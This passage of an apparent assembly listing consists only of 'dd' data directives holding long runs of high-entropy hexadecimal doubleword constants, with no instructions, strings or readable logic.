7DDCCC96h dd 9D2179E2h, 83619FCEh, 0B371A9A1h, 37598452h, 3E72DB81h dd 56D46E3Dh, 4CD8FFD5h, 0D3426282h, 0E78BB8D0h, 3432D13Dh dd 722F7C1Ah, 48D29AD2h, 523C3FE7h, 0F9FFBD6Eh, 0F2E578F3h dd 0CB677E41h, 44DB3AC2h, 0D3F4E051h, 0E2D0A7BDh, 841CB133h dd 0BCFE3425h, 7C175B64h, 24C8A3A8h, 0B45806FCh, 4DFB3FC4h dd 1705D33Fh, 0EDDA38F1h, 4323111Ah, 4F89E56Fh, 8FF3B91Ch dd 0C623ABA8h, 746DB0A6h, 0D2B8ADBFh, 0B3D4B42Fh, 0FFE8F20Ch dd 0CD734426h, 6428D851h, 8D94915Ah, 5777175Fh, 0B8C27AD0h dd 1B4DC6E9h, 0DCDD9257h, 0EF369F7Eh, 0D50CFC5Fh, 0A7E1AF42h dd 0BAE8B539h, 0AAA3B898h, 9919759Ch, 0C1E670DEh, 0D346EA22h dd 2F2BCD92h, 0B41D667Fh, 0A0E5E400h, 6EC56D41h, 8B295213h dd 0C7947074h, 0B58075E8h, 0DBAD1FAFh, 0F5E5FF56h, 81EEC669h dd 57973102h, 0D363D725h, 0EEEEC396h, 23080775h, 0A6E53FEAh dd 0EE7CEB99h, 0C83AE2B8h, 58C969DFh, 3AB5E3ACh, 0D41C7FDDh dd 7A01BFE3h, 5B61715h, 0E8DDFBCh, 15C58FA8h, 6D9CA0DDh dd 0DEE022C0h, 0A813FCBAh, 4C22B2AFh, 8B1257A0h, 16C97703h dd 6FBF6234h, 76C9ABB4h, 20400BC5h, 65514163h, 962E110Ch dd 0C2E4419Ah, 7878114Eh, 631A38ECh, 46238B26h, 7DF6A8E2h dd 18EBCE28h, 91CA019Ah, 0C55F88F8h, 0E186B4CDh, 0CD78FDFDh dd 87EDBA74h, 0BC34CC0Dh, 0F2C4938Ch, 2E887F58h, 0DC39EAFEh dd 0A3525489h, 0C9150856h, 4EFC91E7h, 0CB45F326h, 34CA2440h dd 4C58EB8Ah, 6BAF20D7h, 0B4CE4DE2h, 2270D920h, 2C8DC8E5h dd 0AABE9A9h, 18F89991h, 637AE37Dh, 7B411964h, 4C7685AEh dd 0A771A4E1h, 9A39453Fh, 0A789A42Dh, 5CF79Eh, 38975507h dd 3F78E682h, 51E17D9h, 0AC061AC2h, 68C07537h, 0D798B44h dd 0E71378A4h, 9E4F22A5h, 65EA4405h, 2BCC6EC9h, 0FA472F40h dd 0AFA8C9h, 0A5B70C17h, 97136C34h, 0EF5292B0h, 4D6F77ECh dd 8E0AB33Ch, 0B2EA87E0h, 0E89AF767h, 97E76DEEh, 8AA8890Bh dd 17DB0549h, 0AA4920EEh, 1CAB735h, 0EE3BDE7Ch, 0D09F5D95h dd 904D6C06h, 0DE3EED79h, 11015833h, 523522E1h, 0D2FCD1A8h dd 0AC0EEA96h, 0F5E00D6Eh, 0B1989632h, 680542A7h, 4B161597h dd 4CB1DE5Dh, 3E7D12FFh, 6A2DB84Bh, 2ED40A1Dh, 8D9C36C1h dd 1FA0F408h, 0FDA9BD09h, 4CA15719h, 0FAF81C8Ah, 0B20E979Ah dd 0D4CE463Eh, 26FEBD41h, 0C0394734h, 1E8CC868h, 988C035Ch dd 41040CD6h, 0BE26851Fh, 8260D493h, 0D846968Dh, 0E094BBF9h dd 9694F87Fh, 6632A59Bh, 0E7A80A35h, 0F5B77FCAh, 0B4B65693h dd 0C272D542h, 0F44736ABh, 8F6C0F72h, 99A19253h, 49B396E2h dd 935BDE2Dh, 26561C4Ch, 1229833h, 0BC0C3359h, 513A92C7h dd 6400E9DEh, 0D01B8CB4h, 6E8DF027h, 3624FC7Dh, 0F591DE38h dd 6076BD6Fh, 6316C8B9h, 8AA34380h, 43839788h, 3F35DB1Ch dd 7371E6CCh, 400F5EB6h, 0BAE03003h, 1178EBC9h, 0C1186E17h dd 0FC315E59h, 4627F614h, 734BE059h, 94AE9889h, 0F83DFA5Ch dd 64DDFBF8h, 0C319D7BFh, 75F7B3D1h, 6508BD7Bh, 92F24560h dd 1E5AA721h, 0C337A0AEh, 1E4F698Eh, 0F453361Ah, 48288F26h dd 9A03313h, 0B9CCC0D1h, 0FDC42CCh, 98460592h, 24201565h dd 0B1298E78h, 15045420h, 52CB07E0h, 21840542h, 2BC30BA4h dd 0D1D9058Ch, 9D02FF2Dh, 1A715145h, 21FF916Bh, 4E901233h dd 0F93F5619h, 6F21BCE2h, 9A9B1C8Ah, 7320D754h, 0E8010FB8h dd 7E453F05h, 1F441A88h, 0BE57F368h, 0A4C4960Eh, 4A3DF344h dd 0C9B77F33h, 5F79DD2Dh, 39E11789h, 77C25F86h, 0CE80EF07h dd 0E7238C9Bh, 6E7BD6C5h, 60C1B6F5h, 8828DE0Fh, 2ADCB708h dd 239E6493h, 559E4F78h, 1223198Eh, 8BA3C8A5h, 8156349Eh dd 0E08CD7EDh, 0BEAB3B6Fh, 7A9FD1CCh, 0E4719E4Eh, 0CD7B2839h dd 43C28ECEh, 363A1ED3h, 40073D8Dh, 755951A3h, 0D27F5A16h dd 0E5075434h, 0DE2C0A49h, 7E9741F9h, 25FBAB2h, 0C8DE5AA3h dd 0C61D73A3h, 0FD5DEEF2h, 51C11EC3h, 0BAAC2B02h, 0EC1336D0h dd 374AD07Ah, 0E7147DA2h, 0D8C6555Ch, 98CC36A3h, 0A372FC77h dd 0E235CE3Fh, 5DEA2D63h, 5C0C02Fh, 661A7102h, 0A0D48082h dd 0ABAB36D2h, 0C123B3EBh, 0D2E9C81Eh, 1D2884ACh, 0A909CA3Fh dd 2A6D998Dh, 0E41603EAh, 0FA020683h, 0EE46638Eh, 37B7D862h dd 0D11EF252h, 72FFC11Ch, 0C92F1C0Ch, 2E39B026h, 0D10DAA68h dd 786E504h, 0FE084EA4h, 947AD443h, 0A093AE38h, 2E7ED0ADh dd 363599DCh, 1C4387C1h, 0B7879FEFh, 89D54868h, 2251709h dd 4DD58E1Dh, 0EB80E389h, 7DF73E26h, 0D8A2AA43h, 0AEAA5A57h dd 5ED30410h, 4512C94Eh, 485A855Ah, 5CB5727h, 0AFDDE13Ch dd 930805DCh, 47D7A544h, 2BA9BF82h, 0E4164E7Eh, 0F1C37E0Ch dd 13EC34DEh, 0E7C6B541h, 2344D080h, 0BA69FB75h, 969AB40Bh dd 1961EEEBh, 4B5C5C4Ah, 834B2D26h, 0E468169Dh, 0E9267AB7h dd 0D1F10A31h, 4EA5FBB0h dd 540C2EBBh, 0A17186A4h, 9F8B35DEh, 0F45EAFE4h, 4E2C216Dh dd 0E59DA4DAh, 8B3DABAh, 0CD68E86Eh, 5684DAh, 5DC7FDF0h dd 0C5CB730Bh, 122258DDh, 0CE321A7Eh, 5B22911Ch, 0FCA360CAh dd 2B1E49CFh, 58E9AD50h, 5B6F328h, 33E687C3h, 75E24C61h dd 70FE2964h, 0ADFB432Dh, 0A2253FD1h, 267B7C71h, 9CE5DDB0h dd 0C030F1E0h, 8C668FB6h, 332C9C53h, 554D51E5h, 413D54A3h dd 0D2F44984h, 0E2CBCDF5h, 0D0C389D7h, 36438F00h, 4FDF7562h dd 18582031h, 86DC4E33h, 305B1618h, 0C32F991Fh, 0A5A06AFFh dd 3FBA46F7h, 0F506B622h, 0A015D9D8h, 0B1EC4BD6h, 8AF9871Fh dd 0EB2D3CECh, 74800643h, 9E45ED24h, 0D692B4E6h, 1CD411B5h dd 8C4F18B3h, 0EFD3D1C8h, 40F50009h, 2F2F4B11h, 18496A02h dd 0C88876h, 9415D0C5h, 0A002CFBDh, 51CF78EDh, 777CB54Ah dd 0E59ED756h, 0AE9A4439h, 34323C0Fh, 7115DB48h, 0B40BE502h dd 0E9601BBEh, 8587309Eh, 0D9A8FBEBh, 0D0C91508h, 65009E9Dh dd 3B05EAC3h, 66D0E306h, 0C517B0C7h, 73AF9C3Ah, 0CCDEF86h dd 1A613A1h, 0B1FD867Eh, 49ECCAD8h, 43D269A4h, 0D539D13Ch dd 0F03D148Fh, 673D09BFh, 0F8868847h, 0EBC46FAh, 5A7C2F80h dd 3295F231h, 9E9A62E6h, 0ECBA66C3h, 1663B47Dh, 0A1EE5666h dd 63CB2170h, 5549F90h, 0B544C742h, 0C8599676h, 7969AE7Fh dd 0D11F7434h, 5D7ABEA5h, 8FAE9E35h, 0E39796E7h, 0BC7483CCh dd 8AF49B5Fh, 56B00A4Bh, 24D034DAh, 2B336860h, 0D6DA6CE2h dd 0FAB9B41Eh, 0FBDAF0A9h, 272E328Bh, 0D9320D1Ah, 4164AC19h dd 48EE7F96h, 0D9B2F931h, 757999ABh, 2982F385h, 10B05930h dd 8DBC8B45h, 0CA47C9DBh, 78D239B8h, 0FE04F99Ch, 3C202D7Bh dd 0D7A7A4DDh, 75EC2959h, 4AF981C3h, 0CBBEA769h, 0A82B26A6h dd 93D94E6Dh, 0C672116h, 43C32551h, 0E89C3D13h, 0A024D268h dd 13893D7h, 0A4228FC1h, 1D21ADCDh, 3C830910h, 0BCD43CAh dd 0B913E79Bh, 1942CC48h, 0ECF3B34h, 6AD15ED7h, 0A5016D42h dd 2601D68h, 4B056324h, 0A3643A1Ch, 597B409Fh, 99FEA94h dd 0F6193719h, 346A03CBh, 3A4EE345h, 3EB18304h, 5764F453h dd 5541778Ch, 36D8DA88h, 2CDF92BEh, 6BCC5E73h, 0CCA31DAAh dd 465A23F1h, 0AB34378Ah, 0F36EE3B0h, 0D173B56Dh, 446F0CF3h dd 2DEAA042h, 4F06D781h, 43D601C5h, 381C738Ah, 0DFE0ED39h dd 1C7E1877h, 4D3A9C5Dh, 58B22056h, 0ABD043ACh, 0E5F91959h dd 7025AD8Ch, 70FC1EAh, 65AFA376h, 9FB8E3DAh, 438D614Ch dd 18658EDCh, 0EEC9C96Ch, 3DA78932h, 52E3E336h, 3B5B1382h dd 5E6B22E3h, 331B735Ch, 8EB3FD18h, 0F80A782Ah, 8ABFA9D9h dd 0AB2386E0h, 55101C14h, 8EE3E09Fh, 9B6424ABh, 361F15B1h dd 1EED67DDh, 0D19086Dh, 155313CEh, 1ABE9309h, 7AA33870h dd 0D1EDE260h, 49A8DC4Bh, 0E5E7828Ch, 8B63CAB3h, 5C31EFB7h dd 0D45A2B2Ch, 5C389630h, 0CF53812Eh, 6CA152FBh, 0D6C0C7FEh dd 3C9C4DE3h, 5C07DE52h, 0C022E55Bh, 8D32A62Dh, 89CD959Ch dd 0E411B67Ah, 2CCF34DFh, 0D4EDEDE5h, 13EFAEF2h, 0C94DD38Eh dd 0FB545634h, 0C71D27ADh, 5F538868h, 19521F59h, 29F32E10h dd 0FA3D1999h, 0E336FD71h, 1BD0970h, 6F5F0B66h, 50D1ACCBh dd 4F1E2275h, 76A49C8Fh, 0B12E5FCCh, 1E4A6A7Ah, 0B3496C85h dd 0B87942ABh, 56BEC518h, 78298EDEh, 6F253A11h, 82745F36h dd 0CDBBAE02h, 53C7B698h, 0BBAF0B36h, 9B1C165Ch, 48C374EAh dd 97039BECh, 4E2AF926h, 0D1621C38h, 509BEB0Ch, 1E2F9842h dd 0F2F1F465h, 12ED0BADh, 5105CEE2h, 0E359F1A7h, 3A04E8C9h dd 32A00AA7h, 0DD4BF1BDh, 0FECDC3ACh, 0E44748FAh, 8D7E6911h dd 9CB56122h, 32071988h, 10CFEE9h, 30385882h, 0E7AB6606h dd 51599DE6h, 0DE65842Dh, 2D5B2389h, 6BC447BCh, 0DF959CA2h dd 5002B008h, 0FE3DC74Fh, 293CD36Dh, 0B86A4B68h, 88308B7Bh dd 2B7B895Eh, 27CA5781h, 2814856Eh, 646B7004h, 5F0C0074h dd 0E3994894h, 6EDFD28Eh, 2B4A0481h, 37DC54A1h, 96F61A14h dd 0ECDA254Fh, 0CB81CC09h, 501A29DDh, 5EF20EA0h, 0C959D1AFh dd 2AF30EF2h, 0F5C5A440h, 3A9C4610h, 0EEDB2EA5h, 8F2368FEh dd 0E8D6B1F5h, 0E119C7ADh, 11BCB757h, 8A4EE6CFh, 0F98ACD1Eh dd 0CAF67625h, 575ACA7Ch, 27A4D364h, 3FB8A5EEh, 114A32Ch dd 2D91AC53h, 89310739h, 7E6BB495h, 0CD9AD035h, 0A5816D1Bh dd 0BC037E22h, 900BE9C6h, 72D0FDDDh, 4717E5BAh, 0E200EE27h dd 0A8CB9E5Ch, 0EA618C2Bh, 19D539BEh, 1E419A88h, 39C98023h dd 882E9B6Eh, 72160839h, 37AD41BAh, 6CFC6B36h, 0B605F8Ah dd 0ED4DFA16h, 87836963h, 0E1AE9966h, 0DAB75AA1h, 35AAAA67h dd 766B5761h, 640EA99Ah, 0E6E0E9F5h, 22A478BDh, 0A53D5B31h dd 7CE4CB1h, 0EBFF6CB7h, 0F478B2D2h, 6DC5FD95h, 0D9ACD4D4h dd 0AD1531E6h, 674B5659h, 26DA8FF5h, 0FC478BA5h, 0CFCCB176h dd 0AE4E94D4h, 95B9E432h, 8DACDF75h, 4A5F544h, 2EAFF4CDh dd 18B93024h, 0A824FB5Ah, 5D8AA514h, 748793B8h, 2A1380B1h dd 0EECFD6C3h, 60D7E8ADh, 40CA4D03h, 139DCDA7h, 0CEAA90Fh dd 0ABBD8D4h, 33F1B4FFh, 0A685860Fh, 0A88C084Eh, 4E48FD71h dd 3669013Ch, 4D10621Ah, 1E605552h, 7173B6Ah, 51C7E41Eh dd 8373794Ah, 1DD522B9h, 0D6740449h, 747814ECh, 0D3233FD5h dd 1C656E26h, 0F2D743DEh, 0E5BA2683h, 0CFFD4B19h, 0C62939BDh dd 283FDF2Ch, 2CA489Ah, 0F30ED941h, 9268B246h, 4CFD51DAh dd 41915E59h, 5928EEC3h, 0C9BD87F6h, 9AD07C43h, 7A1C3350h dd 774CA1B9h, 0DD1E3526h, 0BC2F94B9h, 0A24C38A5h, 0C760A944h dd 0C9FB2027h, 0B1BE7B6Dh, 3C684B2h, 0D7341B18h, 0EB6AB051h dd 0B4C681CAh, 0A8AE7030h, 0F2BD6B86h, 1DF69FA4h, 4C9DB677h dd 0C73C0783h, 3FFEC9E6h, 0D0F9FBB4h, 0AAFB2564h, 9BBE1021h dd 181BA5C8h, 7DE22B4Dh, 0A4F2FFDAh, 349A423Fh, 7461643Dh dd 0A4B1A89Fh, 9CB126B2h, 0F90FBA2Dh, 0B668C3D5h, 4A2E0441h dd 194DD6EFh, 21E2646Ah, 6E0855D9h, 62064CD1h, 0B19828CDh dd 76FE3Dh, 4B0AE2B5h, 5262D51Ch, 835EBBh, 0A4720B56h dd 413D79D2h, 57243331h, 1F91E80Ah, 0B2D27C9Eh, 0C3909A96h dd 74BC425Ch, 1EA770C9h, 0AD8DE1Ch, 9831D685h, 0A4C40C8Eh dd 486298A7h, 7B49892h, 438C03AEh, 5B323ECEh, 12E7184Ch dd 0FEFC2B45h, 0EE7DA69Dh, 0DEA06546h, 0CE38A8C0h, 0E29BE0F0h dd 262D0584h, 20E1228Eh, 9CA82396h, 71E9B884h, 0DA43AAB4h dd 0A5CBF006h, 929DB539h, 0ACC8020Ah, 0BEDDCC03h, 0B5ED196Eh dd 0E9F609C3h, 0D733A34Bh, 0D6F2453Ah, 5CCB465h, 0FCB6291Ah dd 0B31EDA4Ch, 1CF666F0h, 0FDDAF54Ch, 5A220D60h, 0FD68585Eh dd 8CF3CE16h, 7B6E03DCh, 7740CE47h, 0D32D92E0h, 248675E6h dd 47F63054h, 0F9ADEB3Ah, 9C061C86h, 0C138D163h, 38568B32h dd 36C53C5Dh, 67BC34AFh, 2758C05Ah, 0EA61A1C0h, 0E18F474Dh dd 0FA128FD9h, 369B0A5Ah, 37F12996h, 8F95F462h, 71BDDB1Bh dd 0BDC313B5h, 36ED38E5h, 0B10D324h, 0EA9A3F56h, 8F4FAEE5h dd 0D5327D07h, 0C086F175h, 4237472Ch, 46E9641Fh, 4EF66B26h dd 6C378830h, 6AECF5AEh, 0B37549BBh, 0FD059568h, 9D918D79h dd 9FEDD164h, 397D0594h, 0B69E6993h, 0C2DFA0E0h, 0C5592DE0h dd 57CBCE3Ah, 98331D8Ch, 0C89B9425h, 0D4354EC3h, 0E7F64C04h dd 0A30C9343h, 0C097D73Bh dd 7C208FA6h, 0DF5A8825h, 0BBA6A452h, 0B89C4A34h, 5E97A144h dd 74C9B230h, 0C6B55C76h, 0D9FABAA4h, 1D13157Fh, 0BC18755Eh dd 0AD915F3Dh, 231FC75Bh, 49C4E2BBh, 0AB4DB772h, 10961E3Ah dd 0C6C57F3Dh, 4745D21Eh, 0DB3BF487h, 2D2240BDh, 49E3CF79h dd 9CEBBDD7h, 0AE03F04Ch, 0A9379ACFh, 51670017h, 0E291C885h dd 0BB9B9205h, 6D5AFBF3h, 6FF3EF7Ah, 99D25684h, 9775290Ch dd 0CF6CB3C6h, 0B760F537h, 9318A77Ch, 0B17C5EB7h, 0A893847h dd 36330FF5h, 0D59508CDh, 0F106B997h, 41693BE8h, 876E8B1Ch dd 0E5C767EAh, 5DB38605h, 2A7A66Eh, 8C330D93h, 34AA7249h dd 0A6F466CCh, 2490DE85h, 973D3817h, 0C8DDC058h, 0F6A7EC2Eh dd 0B9F569Fh, 0E6798B8Ah, 73360F64h, 0A5E47694h, 0C00C9FF5h dd 0BA18DA26h, 0E3AAF288h, 0CC0AC01Bh, 0BC1A845Ah, 2088CD2Dh dd 238EB795h, 884A4C0Eh, 0BF313DF6h, 0FDF00AA0h, 0EEFFD65Bh dd 0A6CA17B6h, 0EF38E08Ah, 0B2C17296h, 52541F8Ch, 71E9161Eh dd 431D82A4h, 0A050AAF7h, 40ABC6B8h, 40D64926h, 0F0FB1F01h dd 0D5D7C9DCh, 1335246h, 66D958DBh, 0B2A113F5h, 0FA08FAC7h dd 5D27D504h, 0B6E1CAD4h, 871E3D0Fh, 0E2599656h, 0D7ABC80Fh dd 0D31A9336h, 3AF70C58h, 0E60059B1h, 2DB74132h, 49B9C5CBh dd 41F5EC35h, 510E34BAh, 169CBEA9h, 4A0133E6h, 0F4395C5h dd 93AFFB70h, 1628843Fh, 0DDBB17AFh, 63A789Dh, 0A80D8F0Eh dd 0F78395FFh, 9A0BBB18h, 4DF6F31Fh, 3C7205B5h, 0A5ECE553h dd 0F6EB24C5h, 0B2103D41h, 1A595F31h, 0B45F018Bh, 69827EF0h dd 3D06BD04h, 0C27FA8C5h, 21E812E0h, 6DD9A6Dh, 57609C84h dd 14DD23B0h, 0F1703A18h, 600D40A0h, 683E5899h, 0DCC96890h dd 0D844FC41h, 0E30FFDBDh, 0D1C1F9E4h, 0BB92AA0Bh, 0C62816F7h dd 8B741365h, 71E4FE13h, 89F57A28h, 0FCADB1CBh, 90A3EB5Dh dd 96E835DDh, 0E7394DE1h, 516F6329h, 0CBC7C8CCh, 0DD0DA83Ah dd 25BBDD16h, 0DE7178E4h, 0C79AC615h, 9A25A8C6h, 0CA79ECE6h dd 651F43DCh, 0F759B9F7h, 7906047Ah, 88A84A4Fh, 0E158A949h dd 0DB7DC0Dh, 0DDBE0133h, 0FEDAACE1h, 6EFCA4A2h, 444B9BCCh dd 93A69E23h, 0C167ED90h, 1DD58D49h, 4A2483E6h, 640F0CB2h dd 5BCD0E38h, 0DD221DD6h, 7AE205E7h, 0FB65089Ah, 8CC7AD8h dd 9AC7D097h, 0DB288751h, 66FDEA32h, 0C7ACAD81h, 0F4675Bh dd 0BE09B209h, 0C8DD62C9h, 7B0626FBh, 0B3B5581Bh, 0F2EB0E40h dd 13FB9A3Fh, 0D23F9C8Ch, 56E62695h, 130B5DCEh, 0DF16BC52h dd 7B31BCCCh, 0A8F4CF6Ch, 0CFF8F6AAh, 68C177E0h, 2379DB16h dd 0EC0E8845h, 95B4E29Ch, 0CC3773F3h, 926FA8F5h, 0C29B7ED5h dd 8FC1B6D9h, 0B863A732h, 691A28EBh, 0C588D604h, 674C2731h dd 6752F777h, 7EE4D061h, 500941CBh, 3BA8BC30h, 0F1FC13ACh dd 52FEB06Ch, 9520B4DAh, 6ACB9465h, 0D15F7234h, 0DB7775CFh dd 8FD737A8h, 0A9460F8h, 0C1BF611Fh, 3FFE0C39h, 6C472D93h dd 8535C253h, 6467944Ah, 5F72267Eh, 0E78FADD8h, 0F82850B1h dd 0CA3FA57Fh, 4AE8004Ah, 6C08A331h, 0C3D25C06h, 0DE67DA82h dd 0AB9DE69Eh, 0E0C4E5FFh, 80FBEAF3h, 0D02C6FC6h, 174FE012h dd 0FCB52BA4h, 1655FED3h, 949BCF95h, 0D847E2DFh, 0B409083Ch dd 6F1673E7h, 28701982h, 0B3EDB89Dh, 3219EA0Bh, 0CB7557C2h dd 9A1DC465h, 69B6A3C7h, 0F4F3EF3Eh, 0F0445Ch, 460E1793h dd 0BE74B22Dh, 0E947C638h, 952B7FFBh, 2B24ADAFh, 74CD2CB0h dd 2B8C95E7h, 0CCFF6FD2h, 0CD2979Ch, 77711524h, 7B7E683Ah dd 0D07D3A90h, 167FC19Eh, 734ED939h, 962D02F4h, 9FB003E8h dd 0E6054A1Bh, 0F1173542h, 21053CD2h, 15E98BFEh, 1AACF83Ch dd 0B99717A2h, 0F209C43Ch, 0D464AC51h, 0A3132B06h, 0AFD9F923h dd 6954EA87h, 74F88672h, 0BF45F7B7h, 0FC79F29Bh, 68861496h dd 800D7ADFh, 4CBF8558h, 0E1B8751h, 0ED1BD8D0h, 95286FCEh dd 0DCC28EC6h, 0B2AD2E0Eh, 0C7D984B9h, 0B1DF6BBAh, 0D8735EFDh dd 60FCADEAh, 0E68EDFFCh, 0D7446CC0h, 0A69835D9h, 6B76BC5Fh dd 2DC36DD4h, 6E3D0C0Fh, 0C83B1F4h, 7E4542B9h, 0A13F8A4h dd 45BC9925h, 0B91AFC9Dh, 0ECC0E30Ch, 504596DEh, 84374A97h dd 0EE78796h, 9CDBA24h, 0AF01B583h, 0ABAF07A7h, 0A8EB00AEh dd 11CB781Ch, 0B1440C0Fh, 9FCFE4DBh, 4DD7B567h, 0EA54F0EAh dd 38A06F7Ch, 0D31CB402h, 4CFA8F7Ch, 0B990C815h, 0B8E8F16Ah dd 4528617Eh, 1C1C3B9h, 9F5FB504h, 8A702409h, 5DE8E131h dd 24CF65E6h, 0DB32053Ch, 514DBAEFh, 8AC77BE7h, 0A92120Ah dd 0C885A92Ah, 2E604A42h, 886B0033h, 753B32B7h, 34D3F441h dd 0CCB2C9B2h, 77DC46B5h, 672DD031h, 0FA091C87h, 0C40970E9h dd 862112F0h, 9475B0F0h, 903562AFh, 0C46F0929h, 87E3FFDAh dd 6B60330Ah, 5E86F982h, 7DA6B4C9h, 0B786E51Ch, 0B1FBA8Dh dd 0C7675ECAh, 38F815D5h, 0D4F98B21h, 4EEF5EB1h, 6C4EE30h dd 0ABB2ED11h, 268CB12Ah, 0A678B37Ah, 0A4E0C38Eh, 6B1019EDh dd 600D435Bh, 0E52ED34Dh, 3B12056Dh, 84718129h, 439B92BBh dd 13E2DDCEh, 8842A429h, 8FAD3B92h, 0E30BF7DAh, 0D4C4107Dh dd 46D1C436h, 7902F879h, 7B17F5D5h, 86B2B2C6h, 0D462F2B5h dd 0B71120F6h, 0E75B32F6h, 0B84C9C69h, 83989C89h, 0E8E5EA87h dd 61B68E64h, 0B4C5DCF4h, 0F4913586h, 5A424089h, 0EFF3C829h dd 0CDECF0C2h, 91FB0A01h, 0D1003875h, 2554AF15h, 13A2D607h dd 1B47641Bh, 76803E8h, 29281846h, 42E27C1h, 0D435973Ch dd 5471A232h, 60DB67A3h, 156F5A22h, 4D9FEA1Fh, 0AFF7A77Eh dd 9B3B6462h, 6A30BCF8h, 27512BCAh, 0BFA0EFFAh, 0C002C129h dd 0E9B24044h, 990C48B9h, 56A1A3CCh, 78B13666h, 0D35010AAh dd 0C885423Eh, 8BA6544Ah, 0F43AAD3Fh, 78CC9CD6h, 151CEFBCh dd 283F5D41h, 0ABA77EDh, 0CB5C0DB4h, 2D30D5EEh, 0C69AB7DFh dd 99B5D9C2h, 3CCFCE32h, 4AF31CF4h, 28EB1D20h, 0F78FF7E7h dd 0A1AB9F48h, 0C00D86BDh, 675E64C3h, 618E01Bh, 77D53A1Fh dd 2994AA8Bh, 0D9B39023h, 0C11BA77Bh, 13CFF4A7h, 0C364AC19h dd 4885569h, 0E93A650Fh, 912BF69Ch, 47A2736Eh, 0A7B68048h dd 0A6EF020Ah, 5460203Dh, 8201542Ah, 0F6533A43h, 16973503h dd 0AE25F99Dh, 9DD0DC9Bh, 0A55303B0h, 0DDE7CFB7h, 6766CB4Fh dd 0AF49B65Dh, 0B9EEF639h, 4FF464B0h, 0F029E854h, 12FFFB6Ch dd 0A758FC02h, 0E5BA6A79h, 0BBE11FE4h, 0DC23F892h, 1ACE46C0h dd 88C52A8Fh, 55FC7B62h, 0A940EBC3h, 2466F3EFh, 8F55A33h dd 0FEDD47B0h, 0F38DD672h, 2B30A0BFh, 3D4DB8BCh, 5A1BE30Ch dd 0E6933F16h, 32D0643Dh, 0A0C60B7Bh, 0B06B37B3h, 0E8EFC6DAh dd 0E8D6A9CAh, 8CBF5BA8h, 0EEC55E8Eh, 9206EB1h, 32BFE32Ch dd 0FFCE03F8h, 0E29E42E2h, 10B2E4F2h, 0BD46E30Ch, 0AFD5BC18h dd 0C7624C94h, 6E21EAD9h, 87AF3EE8h, 0D7A0D7F6h, 44E17B7Eh dd 9ADB4B8h, 0E653698Dh, 7052DCA3h, 611F3988h, 38A602F0h dd 0B1637248h, 0F480B82Ch, 971C7BB6h, 59EF3B4Bh, 55A5256Eh dd 6E5EB45Eh, 17D8A6A2h, 629BE581h, 0E980C950h, 0C0B317Ch dd 0C0EB7847h, 0E67FD37Fh, 83D2EC6h, 0BC252E48h, 51A519B6h dd 0C531F7F0h, 0BFDE2E26h, 42365A51h, 0EBB410EDh, 6B25ACC1h dd 2FADF341h, 9AF1FDB2h, 0A964ECE0h, 5A3D3A12h, 653BC858h dd 1F9518D9h, 62B08456h, 48F078B8h, 2B3CE38Bh, 1B9BE55Dh dd 0CDB3EED3h, 806F71ADh dd 0BC4D3AC8h, 4A8904B5h, 29636B9Bh, 90C0F97Ah, 0BB5FE630h dd 0ECEA1328h, 12157A8Fh, 0FD6303D0h, 0C34E04C8h, 8511B9C6h dd 6C6DF024h, 7B44AFADh, 0FB55C2AAh, 0C96D38F6h, 0DDB4264Ah dd 0D7874831h, 0E7763C7Dh, 0D4E206ADh, 0EB45E4B3h, 206E60CAh dd 26C4B614h, 5DD7BBA1h, 83A4BA43h, 0E5A94E6Dh, 0FB30B297h dd 0C7C64D2Fh, 0A8963DD8h, 37AB24B1h, 0CA0FD151h, 0FD133DD4h dd 0A9F08B46h, 7CF9E65Fh, 6B4E3AF9h, 0C55734CAh, 85A3E5B1h dd 9985A845h, 41F264AFh, 0ED5E9378h, 0B6F5A8FFh, 0EF6CD876h dd 0FAEA1449h, 854F0917h, 33DF648Bh, 0FD29C729h, 0C83CB59Ch dd 81D6694Eh, 0CD22B7CBh, 63E08462h, 0F35B5EFEh, 69623AB5h dd 1A600560h, 49130BB6h, 8D127DF6h, 0CA8B7DCBh, 0C4093AFEh dd 7636C5CAh, 0B3829781h, 0D9BC6B1Fh, 5689F34Bh, 2A94D5E0h dd 0F49D8764h, 7430366Ah, 0C3188F4Dh, 2515A44Ch, 0E05A1293h dd 7BD469CAh, 0B0B1F5D7h, 0E8AC3B98h, 1B39E7AAh, 0E3DB0C30h dd 56CFACB7h, 4D1AA73Bh, 41BD9820h, 0E776D069h, 0FF9D6083h dd 87D70981h, 0AE446865h, 92A702D8h, 0AC74F0D6h, 63572C56h dd 0CF22F2B7h, 0DDC57ECDh, 4B0C25E2h, 15396794h, 380D21B1h dd 0D761E12Bh, 0FB2A430Dh, 40AEC2FCh, 8D35EAF8h, 59F5F4Eh dd 0A608B38Ch, 0C74CF484h, 84CFCF85h, 2491D34Dh, 29D5F9E0h dd 0B55FA3E7h, 4936756h, 376F9241h, 0D0DBA65Fh, 786EA892h dd 0DADEAB2Eh, 0B865BE78h, 2EE50EC9h, 0DFC556B0h, 0EB59A5E2h dd 3B90ADB8h, 22E6F22Bh, 0FFE36366h, 4F925DAh, 1E282D53h dd 523CBDB2h, 0A1BA2564h, 0BFE634D6h, 297F5695h, 629839C8h dd 3C60265Dh, 6E751A1Ah, 47AA4017h, 79CD33DBh, 0F3349263h dd 86E399F3h, 0EBDAB7E0h, 31988B7Ch, 51BD411Bh, 0E76ECAD6h dd 0FCCAE2E3h, 0A0C2BB3h, 6F81CD5Fh, 0D1CD3EFEh, 9C0E552Ch dd 364E047Fh, 74A3E4A2h, 2C42D049h, 0D79E02C9h, 0E5A8F307h dd 0F6FE4A63h, 4D59D22Dh, 0CF685869h, 0E94B57FDh, 0AB1F03D5h dd 5479B40Eh, 6D6A5D8Eh, 0C2266BC0h, 0E6803145h, 15E01137h dd 1B4B0955h, 4D31C7E3h, 7962BB62h, 0B4DC23DEh, 57D4E6BEh dd 186C8DA0h, 527BC909h, 84F0C25Bh, 51410A39h, 2E9C5619h dd 1936E89Bh, 0EF0DA37Ah, 16AAF9D5h, 771E83D5h, 3F1E8082h dd 3FF2637h, 0B60D1780h, 502E6FCCh, 936F24FAh, 8D20B926h dd 4E116473h, 8A313EDEh, 0EE56C146h, 6F139803h, 0A9C572E9h dd 5FDDF228h, 0FC2AB1E9h, 8265D5FAh, 66FC227Ah, 3B0528D9h dd 70DEF98h, 979F9A9Ch, 0EC0A42DAh, 3E92C856h, 0F4D8B8CEh dd 43224E32h, 4BDD7133h, 3729AEC0h, 19C54E22h, 0F5E07F4Fh dd 0C254F8DBh, 46677CCh, 8D5BC6F9h, 0A7865685h, 0C53DC1E3h dd 98CEE0B9h, 4AC93A9Dh, 0DCBD5DC3h, 0FA3F2BE2h, 70068C77h dd 